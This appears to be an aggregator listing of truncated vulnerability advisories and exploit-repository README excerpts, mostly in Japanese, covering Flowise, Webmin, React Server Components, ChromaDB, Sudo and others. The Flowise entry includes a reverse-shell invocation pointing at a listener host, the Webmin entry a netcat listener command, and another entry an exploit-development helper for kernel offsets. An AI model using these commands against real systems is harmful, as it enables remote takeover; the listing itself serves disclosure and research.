EUVD-2026-93429

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges...

CVE-2026-63688

Dell Container Storage Modules CSM, versions prior to v1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csm-authorization-storage gRPC server. An unauthenticated remote attacker could potentially exploit this vulnerability, leading to unauthorized access to...

CVE-2021-3156

エクスプロイトチェーン深掘り：CVE-2021-3156（Baron Samedit） 著者: IJ Baig 日付: 2026年7月7日 1. CVE ID、影響を受けるバージョン、およびビルド確認 CVE ID: CVE-2021-3156 脆弱性タイプ: ヒープベースのバッファオーバーフロー 影響を受けるバージョン範囲: レガシーSudoバージョン1.8.2～1.8.31p2、および安定版バージョン1.9.0～1.9.5p1。 ビルド対象バージョン: Sudo 1.9.5p1 1.1 環境設定...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 既存のキーを使用したリバースシェル: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 オプション フラグ| 説明 ---|--- -t, --target| ターゲットURL -e, --email| ターゲットアカウントのメールアドレス（ATOチェーンをトリガー） --api-key| APIキーを直接指定（ATOをスキップ） -c, --command| 実行するコマンド...

BinDiffHelper

BinDiffHelper GhidraプロジェクトでBinDiffを使用して一致する関数を検索し、自動的に名前を変更するGhidra拡張機能です（BinDiff 6、7、8をサポート）。 BinDiffマニュアルを参照して、その仕組みと関数/基本ブロックのマッチング方法を確認してください。ただし、この拡張機能ではBinDiffがGhidra内から自動化されるため、自分でバイナリをdiffする必要はありません。 バグはgithubのissue機能で報告してください 変更履歴 v0.7.1 Ghidra 12向けに更新 v0.7.0 Ghidraバージョン = 11.4...

exploit-CVE-2016-9920

Roundcube 1.0.0 Roundcube 1.2.2 以前では、ユーザー制御の入力がサニタイズされずに、セキュリティ上重要とされている PHP の組み込み関数 mail への呼び出しの第5引数に渡されます。問題は、mail 関数を呼び出すと PHP が sendmail プログラムを実行することです。第5引数はこの実行に追加パラメータを渡すことを可能にし、sendmail の設定を可能にします。sendmail にはすべてのメールトラフィックをファイルに記録する -X オプションがあるため、攻撃者はこのオプションを悪用して、攻撃対象サーバーのウェブルートディレクトリに悪意のある...

React2Shell_Rce-cve-2025-55182

React Server Components RCE – README こんにちは。画面の向こう側でもすべてが素晴らしいことを願っています！😊✨ 説明 React Server Components のバージョン 19.0.0 、19.1.0 、19.1.1 、19.2.0 （react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack を含む）には、リモートコード実行の脆弱性があります。 この問題は、Server Function...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB 事前認証RCE ChromaDBベクターデータベースにおける重大なリモートコード実行 📌 概要 CVE-2026-45829 は、人気のオープンソースAIベクターデータベース ChromaDB における重大な事前認証リモートコード実行 脆弱性です。 認証されていない攻撃者は、ChromaDBが埋め込み関数設定を処理する方法を悪用して、サーバ上で完全なリモートコード実行 を達成できます。 主要情報 項目| 詳細 ---|--- CVE ID| CVE-2026-45829 深刻度| 重大 CVSS 9.8 影響を受けるコンポーネント|...

ntoskrnl-metadata

ntoskrnl-metadata Windows の ntoskrnl.exe バイナリから重要なカーネルメタデータを抽出するための IDA Python スクリプトです。このツールは、CVE-2026-40369 やその他のカーネル脆弱性を対象としたエクスプロイトの開発に必要な関数 RVA と EPROCESS 構造体オフセットを自動的に抽出します。 目的 このツールは、エクスプロイトペイロードにハードコードする必要があるバージョン固有のカーネルメタデータを自動的に抽出することで、CVE-2026-40369 向けのエクスプロイトの作成を支援します。抽出された値により、さまざまな...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE 実行ガイド Webmin 1.580 の /file/show.cgi コンポーネントを介して、認証済みリモートコード実行 RCE を実行するためのクイックリファレンスです。 1. 攻撃マシン リスナー ペイロードを実行する前に、ローカルマシンでこのコマンドを実行して受信接続を待ち受けます: rlwrap nc -lnvp 4444 2. ターゲットへのエクスプロイトペイロード 次の URL をブラウザのアドレスバーに直接貼り付けてください 事前に Webmin ダッシュボードにログインしていることを確認してください:...

CVE-2026-105701

The ACPT Premium plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.66 via the render function. This is due to missing capability check on the REST API form creation endpoint and unsandboxed Twig environment rendering email templates. This makes ...

CVE-2026-40897

CVE-2026-40897 Math.js 式パーサーにおけるリモートコード実行 ★ CVE-2026-40897 Math.js リモートコード実行 PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 概要 CVE-2026-40897 は、Math.js の式パーサーにおけるサンドボックス回避によるリモートコード実行 の脆弱性です。 isSafeProperty...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: Webを壊した逆シリアル化のバグ ⚡ React2Shell、CVE-2025-55182、RCEの脆弱性：React Server Componentsにおける安全でない逆シリアル化の欠陥を詳細に解説。これにより、デフォルトのReact/Next.js構成で認証不要のリモートコード実行が可能になります。 ⏩ TL;DR React2Shell CVE-2025-55182 は、React 19.xおよびNext.jsなどのフレームワークのReact Server Components RSC に影響を与える重大なリモートコード実行...

CVE-2025-42957-SAP-S-4HANA-Under-Siege

CVE-2025-42957-SAP-S-4HANA-Under-Siege 1 – 何が起きたのか？ 2025年8月、SAPの旗艦ERPプラットフォーム S/4HANA が、RFC対応ファンクションモジュールの1つに脆弱性を露呈していることが判明しました。低特権アクセスのみを持つ攻撃者は、そのモジュールに任意のABAPコードを注入し、通常の認可チェックをバイパスしてシステム全体を制御できるようになります。 この欠陥は理論上の好奇心の対象ではありません。 SecurityBridge Threat Research Labs...

CVE-2020-8423

CVE-2020-8423 https://ktln2.org/2020/03/29/exploiting-mips-router/testing-environment に基づく研究 hook.c はカスタマイズされています（特に open） vmlinux バージョン 2.6.31...

CVE-2025-55182

CVE-2025-55182 スキャナー＆エクスプロイター !Warning このリポジトリは教育および研究目的のみ を意図しています。 提供されるPoCは自身が所有するシステム 、または明示的な許可 を得たシステムでのみ使用してください。 無許可のアクセス 、悪用、またはこのリポジトリ内の素材の誤用は違法 です。 作者は不適切な使用に起因するいかなる損害、誤用、または法的結果についても一切責任を負いません 。 🔍 概要 CVE-2025-55182 は、React Server Components バージョン 19.0.0、19.1.0、19.1.1、および 19.2.0...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 の教育用概念実証（PoC）自動化ツールです。許可された Hack The Box ラボ環境で実証されています。 概要 CVE-2022-22963 は、spring.cloud.function.routing-expression ヘッダーが関与する Spring Cloud Function の脆弱性です。 脆弱な構成では、攻撃者が Spring Expression Language（SpEL）の評価を悪用して、関数ルーティング機構を通じて Java 機能を呼び出すことができます。 このリポジトリには、許可された...

[SECURITY] Fedora 45 Update: ocaml-time-now-0.17.0-15.fc45

This package provides a single OCaml function to report the current time in nanoseconds since the start of the Unix epoch...

PT-2026-106342

The ACPT Premium plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.66 via the render function. This is due to missing capability check on the REST API form creation endpoint and unsandboxed Twig environment rendering email templates. This makes ...

PT-2026-106849

TP-Link Tapo C500 v2.0 contains an out-of-bounds function-pointer dispatch in its TDP TP-Link Device Protocol daemon. A single unauthenticated UDP datagram can cause an invalid indirect call, crashing the main service and resulting in a denial-of-service condition. Successful exploitation may all...